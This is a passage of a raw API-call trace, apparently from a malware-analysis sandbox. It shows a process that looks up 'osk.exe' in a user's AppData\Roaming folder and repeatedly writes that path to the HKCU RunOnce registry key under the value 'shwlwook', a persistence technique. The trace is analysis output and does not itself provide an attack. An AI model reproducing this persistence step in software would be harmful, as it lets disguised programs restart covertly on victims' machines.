[5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95e930*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95e98c | out: rgDispId=0x95e98c*=10012) returned 0x0 [0254.947] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x6240190 | out: ppvObject=0x6240190*=0x0) returned 0x80004002 [0254.947] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x2 [0254.947] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ea1c | out: ppvObject=0x95ea1c*=0x0) returned 0x80004002 [0254.947] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x3 [0254.947] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95e9f0*(rgvarg=([0]=0x95e970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95e9d0, pExcepInfo=0x95e99c, puArgErr=0x95e874 | out: pDispParams=0x95e9f0*(rgvarg=([0]=0x95e970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95e9d0*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95e99c*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95e874*=0x624a210) returned 0x0 [0254.947] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x2 [0254.948] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95e8d0 | out: ppvObject=0x95e8d0*=0x0) returned 0x80004002 [0254.948] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95e8c8 | out: ppvObject=0x95e8c8*=0x0) returned 0x80004002 [0254.948] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95e8dc | out: ppvObject=0x95e8dc*=0x5499ce4) returned 0x0 [0254.948] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95e864 | out: ppvObject=0x95e864*=0x0) returned 0x80004002 [0254.948] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x62401b0 | out: ppvObject=0x62401b0*=0x0) returned 0x80004002 [0254.948] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x3 [0254.948] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x2 [0254.948] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95e960*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95e9bc | out: rgDispId=0x95e9bc*=0) returned 0x0 [0254.948] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x2 [0254.948] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95e978*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95e968, pExcepInfo=0x95e988, puArgErr=0x95e874 | out: pDispParams=0x95e978*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95e968*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95e988*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95e874*=0x62401c0) returned 0x0 [0254.949] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x1 [0254.949] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0254.949] GetTickCount () returned 0x3f0aa [0254.949] malloc (_Size=0xa8) returned 0x54d0628 [0254.950] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0254.950] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0254.950] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0254.950] IsCharSpaceW (wch=0x69) returned 0 [0254.950] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0254.950] IsCharSpaceW (wch=0x69) returned 0 [0254.950] LoadRegTypeLib (in: rguid=0x7167399c*(Data1=0xf935dc20, Data2=0x1cf0, Data3=0x11d0, Data4=([0]=0xad, [1]=0xb9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd5, [6]=0x8a, [7]=0xb)), wVerMajor=0x1, wVerMinor=0x0, lcid=0x409, pptlib=0x95e89c | out: pptlib=0x95e89c*=0xa34da8) returned 0x0 [0254.953] ITypeLib:GetTypeInfoType (in: This=0xa34da8, index=0x71673740, pTKind=0x95e87c | out: pTKind=0x95e87c*=11054644) returned 0x0 [0254.953] IUnknown:Release (This=0xa34da8) returned 0x1 [0254.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0254.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95df10, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0254.954] _mbsnbcmp (_Str1=0x95df10, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0254.954] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95deec, lpdwDisposition=0x0 | out: phkResult=0x95deec*=0x640, lpdwDisposition=0x0) returned 0x0 [0254.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0254.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95dee0, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0254.954] RegSetValueExA (in: hKey=0x640, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0254.954] RegCloseKey (hKey=0x640) returned 0x0 [0254.955] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xdfe28c | out: lpSystemTimeAsFileTime=0xdfe28c*(dwLowDateTime=0xb29d5fcc, dwHighDateTime=0x1d4f110)) [0254.955] GetTickCount () returned 0x3f0aa [0254.955] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xdfe294 | out: lpSystemTimeAsFileTime=0xdfe294*(dwLowDateTime=0xb29d5fcc, dwHighDateTime=0x1d4f110)) [0254.955] GetCurrentThreadId () returned 0xe38 [0254.955] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0254.955] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0254.955] TranslateMessage (lpMsg=0x95f69c) returned 0 [0254.955] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0254.955] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0254.956] TranslateMessage (lpMsg=0x95f69c) returned 0 [0254.956] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0254.956] GetWindowLongW (hWnd=0x60210, nIndex=-21) returned 76972032 [0254.956] SetTimer (hWnd=0x60210, nIDEvent=0x1008, uElapse=0x64, lpTimerFunc=0x0) returned 0x1008 [0254.956] GetCurrentThreadId () returned 0xe38 [0254.956] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0254.956] TranslateMessage (lpMsg=0x95f69c) returned 0 [0254.956] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0254.957] KillTimer (hWnd=0x701f8, uIDEvent=0x2004) returned 1 [0254.957] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0254.957] TranslateMessage (lpMsg=0x95f69c) returned 0 [0254.957] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0254.957] GetWindowLongW (hWnd=0x2021a, nIndex=-21) returned 76849872 [0254.958] GetWindowThreadProcessId (in: hWnd=0x701f8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xe38 [0254.958] GetCurrentThreadId () returned 0xe38 [0254.958] GetWindowThreadProcessId (in: hWnd=0x701f8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xe38 [0254.958] GetCurrentThreadId () returned 0xe38 [0254.958] GetWindowThreadProcessId (in: hWnd=0x701f8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xe38 [0254.958] GetCurrentThreadId () returned 0xe38 [0254.958] GetTickCount64 () returned 0x3f0ba [0254.958] RedrawWindow (hWnd=0x701f8, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x2) returned 1 [0254.958] KillTimer (hWnd=0x701f8, uIDEvent=0x2007) returned 1 [0254.958] GetTickCount () returned 0x3f0ba [0254.958] GetTickCount64 () returned 0x3f0ba [0254.959] QueryPerformanceCounter (in: lpPerformanceCount=0x95f2fc | out: lpPerformanceCount=0x95f2fc*=25826118931) returned 1 [0254.959] GetTickCount64 () returned 0x3f0ba [0254.959] GetFocus () returned 0x60210 [0254.959] GetClientRect (in: hWnd=0x60210, lpRect=0x494e5d4 | out: lpRect=0x494e5d4) returned 1 [0254.959] GetTickCount64 () returned 0x3f0ba [0254.960] GetCurrentThreadId () returned 0xe38 [0254.960] PostMessageW (hWnd=0x701f8, Msg=0x8002, wParam=0x0, lParam=0x0) returned 1 [0254.960] GetTickCount64 () returned 0x3f0ba [0254.960] GetTickCount64 () returned 0x3f0ba [0254.962] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0254.962] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xdfe28c | out: lpSystemTimeAsFileTime=0xdfe28c*(dwLowDateTime=0xb2a05c58, dwHighDateTime=0x1d4f110)) [0254.962] GetTickCount () returned 0x3f0ba [0254.962] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95e930*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95e98c | out: rgDispId=0x95e98c*=10012) returned 0x0 [0254.963] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x6240210 | out: ppvObject=0x6240210*=0x0) returned 0x80004002 [0254.963] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x3 [0254.963] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ea1c | out: ppvObject=0x95ea1c*=0x0) returned 0x80004002 [0254.963] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x4 [0254.963] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95e9f0*(rgvarg=([0]=0x95e970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95e9d0, pExcepInfo=0x95e99c, puArgErr=0x95e874 | out: pDispParams=0x95e9f0*(rgvarg=([0]=0x95e970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95e9d0*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95e99c*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95e874*=0x624a270) returned 0x0 [0254.963] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x3 [0254.963] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95e8d0 | out: ppvObject=0x95e8d0*=0x0) returned 0x80004002 [0254.963] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95e8c8 | out: ppvObject=0x95e8c8*=0x0) returned 0x80004002 [0254.963] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95e8dc | out: ppvObject=0x95e8dc*=0x5499ce4) returned 0x0 [0254.964] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95e864 | out: ppvObject=0x95e864*=0x0) returned 0x80004002 [0254.964] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x6240230 | out: ppvObject=0x6240230*=0x0) returned 0x80004002 [0254.964] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x4 [0254.964] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x3 [0254.964] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95e960*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95e9bc | out: rgDispId=0x95e9bc*=0) returned 0x0 [0254.964] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x3 [0254.964] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95e978*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95e968, pExcepInfo=0x95e988, puArgErr=0x95e874 | out: pDispParams=0x95e978*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95e968*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95e988*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95e874*=0x6240240) returned 0x0 [0254.965] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x2 [0254.965] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0254.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0254.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95df10, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0254.966] _mbsnbcmp (_Str1=0x95df10, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0254.966] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95deec, lpdwDisposition=0x0 | out: phkResult=0x95deec*=0x14c, lpdwDisposition=0x0) returned 0x0 [0254.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0254.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95dee0, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0254.967] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0254.967] RegCloseKey (hKey=0x14c) returned 0x0 [0254.967] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xdfe28c | out: lpSystemTimeAsFileTime=0xdfe28c*(dwLowDateTime=0xb2a05c58, dwHighDateTime=0x1d4f110)) [0254.967] GetTickCount () returned 0x3f0ba [0254.967] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xdfe294 | out: lpSystemTimeAsFileTime=0xdfe294*(dwLowDateTime=0xb2a05c58, dwHighDateTime=0x1d4f110)) [0254.967] GetCurrentThreadId () returned 0xe38 [0254.967] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0254.968] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0254.985] TranslateMessage (lpMsg=0x95f69c) returned 0 [0254.985] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0254.985] GetWindowLongW (hWnd=0x2021a, nIndex=-21) returned 76849872 [0254.985] GetWindowThreadProcessId (in: hWnd=0x701f8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xe38 [0254.985] GetCurrentThreadId () returned 0xe38 [0254.986] GetWindowThreadProcessId (in: hWnd=0x701f8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xe38 [0254.986] GetCurrentThreadId () returned 0xe38 [0254.986] RedrawWindow (hWnd=0x701f8, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x2) returned 1 [0254.986] KillTimer (hWnd=0x701f8, uIDEvent=0x200a) returned 1 [0254.986] GetTickCount () returned 0x3f0d9 [0254.986] GetTickCount64 () returned 0x3f0d9 [0254.986] QueryPerformanceCounter (in: lpPerformanceCount=0x95f324 | out: lpPerformanceCount=0x95f324*=25828887335) returned 1 [0254.986] QueryPerformanceCounter (in: lpPerformanceCount=0x95f2fc | out: lpPerformanceCount=0x95f2fc*=25828894163) returned 1 [0254.986] SetEvent (hEvent=0x378) returned 1 [0254.987] GetTickCount64 () returned 0x3f0d9 [0254.987] GetTickCount64 () returned 0x3f0d9 [0254.987] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0254.987] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xdfe28c | out: lpSystemTimeAsFileTime=0xdfe28c*(dwLowDateTime=0xb2a48a16, dwHighDateTime=0x1d4f110)) [0254.987] GetTickCount () returned 0x3f0d9 [0254.988] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95e930*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95e98c | out: rgDispId=0x95e98c*=10012) returned 0x0 [0254.988] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x6240290 | out: ppvObject=0x6240290*=0x0) returned 0x80004002 [0254.988] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x4 [0254.988] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ea1c | out: ppvObject=0x95ea1c*=0x0) returned 0x80004002 [0254.988] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x5 [0254.988] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95e9f0*(rgvarg=([0]=0x95e970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95e9d0, pExcepInfo=0x95e99c, puArgErr=0x95e874 | out: pDispParams=0x95e9f0*(rgvarg=([0]=0x95e970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95e9d0*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95e99c*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95e874*=0x624a2d0) returned 0x0 [0254.989] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x4 [0254.989] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95e8d0 | out: ppvObject=0x95e8d0*=0x0) returned 0x80004002 [0254.989] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95e8c8 